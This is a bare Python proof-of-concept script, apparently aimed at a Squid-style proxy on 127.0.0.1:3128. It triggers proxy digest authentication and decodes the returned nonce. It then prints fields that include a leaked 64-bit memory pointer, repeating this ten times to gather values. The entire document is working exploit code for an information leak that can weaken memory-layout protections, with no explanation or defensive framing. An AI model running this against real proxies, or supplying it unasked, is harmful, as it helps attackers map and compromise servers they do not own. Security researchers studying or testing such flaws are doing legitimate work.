#!/usr/bin/env python3

import base64
import re
import struct
import urllib.request

class FakeProxyDigestAuthhandler(urllib.request.BaseHandler):
    def http_error_407(self, req, fp, code, msg, hdrs):
        nonce = re.search(r'nonce="([^"]*)"', hdrs["Proxy-Authenticate"]).group(1)
        creationtime, pad1, ptr, randomdata, pad2 = struct.unpack("<LLQLL", base64.b64decode(nonce))
        print("creationtime={:08x} pad1={:08x} self={:016x} randomdata={:08x} pad2={:08x}".format(creationtime, pad1, ptr, randomdata, pad2))

proxy_handler = urllib.request.ProxyHandler({'http': 'http://127.0.0.1:3128/'})
proxy_auth_handler = FakeProxyDigestAuthhandler()

opener = urllib.request.build_opener(proxy_handler, proxy_auth_handler)

for n in range(10):
    try:
        r = opener.open("http://example.com/")
    except urllib.error.HTTPError:
        pass
